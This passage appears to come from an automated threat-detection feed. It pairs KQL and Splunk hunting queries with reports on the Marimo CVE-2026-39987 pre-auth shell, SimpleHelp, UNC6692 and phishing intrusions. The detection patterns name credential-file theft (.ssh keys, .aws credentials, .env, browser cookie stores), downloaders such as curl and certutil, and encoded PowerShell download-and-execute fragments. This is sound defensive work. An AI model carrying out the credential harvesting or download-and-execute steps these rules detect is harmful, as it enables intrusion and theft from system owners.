and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-244 use cases0 techniques3 kill-chain phases detected
SimpleHelp contains a missing authorization vulnerability that could allow low-privileged technicians to create API keys with excessive permissions. These API keys can be used to escalate privileges to the server admin role. Vendor: SimpleHelp , Product: SimpleHelp. Federal patch due: 2026-05-08.
CVEsCVE-2024-57726
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2024-57726")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2024-57726")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → File hash IOCs — endpoint file/process match
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Remote service execution — PsExec / SMB lateral movement
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1543.003
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — fast16 | Mystery ShadowBrokers Reference Reveals High-Precision Software Sabotag
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("fast16.sys", "svcmgmt.exe", "svcmgmt.dll", "ntoskrnl.exe", "connotify.dll") or FolderPath has_any ("C:\buildy\driver\fd\i386\fast16.pdb", "\Windows\CurrentVersion\Uninstall\Look"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FolderPath has_any ("C:\buildy\driver\fd\i386\fast16.pdb", "\Windows\CurrentVersion\Uninstall\Look") or FileName in~ ("fast16.sys", "svcmgmt.exe", "svcmgmt.dll", "ntoskrnl.exe", "connotify.dll"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
// Registry persistence locations named in the article
DeviceRegistryEvents
| where Timestamp > ago(30d)
| where ActionType in ("RegistryValueSet","RegistryKeyCreated")
| where RegistryKey has_any ("HKLM\SOFTWARE\Symantec\InstalledApps", "HKLM\SOFTWARE\Sygate", "HKLM\SOFTWARE\TrendMicro\PFW", "HKLM\SOFTWARE\Zone", "HKLM\SOFTWARE\F-Secure", "HKLM\SOFTWARE\Network")
| project Timestamp, DeviceName, AccountName, RegistryKey,
RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — fast16 | Mystery ShadowBrokers Reference Reveals High-Precision Software Sabotag ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("fast16.sys","svcmgmt.exe","svcmgmt.dll","ntoskrnl.exe","connotify.dll") OR Processes.process_path="*C:\buildy\driver\fd\i386\fast16.pdb*" OR Processes.process_path="*\Windows\CurrentVersion\Uninstall\Look*")
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_path="*C:\buildy\driver\fd\i386\fast16.pdb*" OR Filesystem.file_path="*\Windows\CurrentVersion\Uninstall\Look*" OR Filesystem.file_name IN ("fast16.sys","svcmgmt.exe","svcmgmt.dll","ntoskrnl.exe","connotify.dll"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Registry
where Registry.action IN ("created","modified")
AND (Registry.registry_path="*HKLM\\SOFTWARE\\Symantec\\InstalledApps*" OR Registry.registry_path="*HKLM\\SOFTWARE\\Sygate*" OR Registry.registry_path="*HKLM\\SOFTWARE\\TrendMicro\\PFW*" OR Registry.registry_path="*HKLM\\SOFTWARE\\Zone*" OR Registry.registry_path="*HKLM\\SOFTWARE\\F-Secure*" OR Registry.registry_path="*HKLM\\SOFTWARE\\Network*")
by Registry.dest, Registry.process_name, Registry.registry_path,
Registry.registry_value_name, Registry.registry_value_data
| `drop_dm_object_name(Registry)`
]
2026-04-235 use cases3 techniques6 kill-chain phases detected
What are the next steps for security leaders in this new age of frontier AI? We answer the top 10 questions customers are asking. The post Frontier AI and the Future of Defense: Your Top Questions Answered appeared first on Unit 42 .
ATT&CKT1190T1195.002T1566
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
Detected
Phase 2
Weaponization
Detected
Phase 3
Delivery
Detected
Phase 4
Exploitation
Detected
Phase 5
Installation
Detected
Phase 6
Command & Control
Likely
Phase 7
Actions on Objectives
Detected
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Trusted vendor binary / installer launching unusual children
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
2026-04-2318 use cases15 techniques6 kill-chain phases detected
A previously undocumented threat activity cluster known as UNC6692 has been observed leveraging social engineering tactics via Microsoft Teams to deploy a custom malware suite on compromised hosts. "As with many other intrusions in recent years, UNC6692 relied heavily on impersonating IT help desk employees, convincing their victim to accept a Microsoft Teams chat invitation from an account
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → Suspicious browser extension installation · RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard · [LLM] UNC6692 SNOWBELT loader: headless Edge with --load-extension SysEvents · [LLM] UNC6692 SNOWBELT housekeeping: tasklist SHELL32.dll vs CoreUIComponents.dll taskkill loop
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs · LSASS process access / dump (credential theft) · Remote service execution — PsExec / SMB lateral movement · Ransomware-style mass file rename / extension change
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
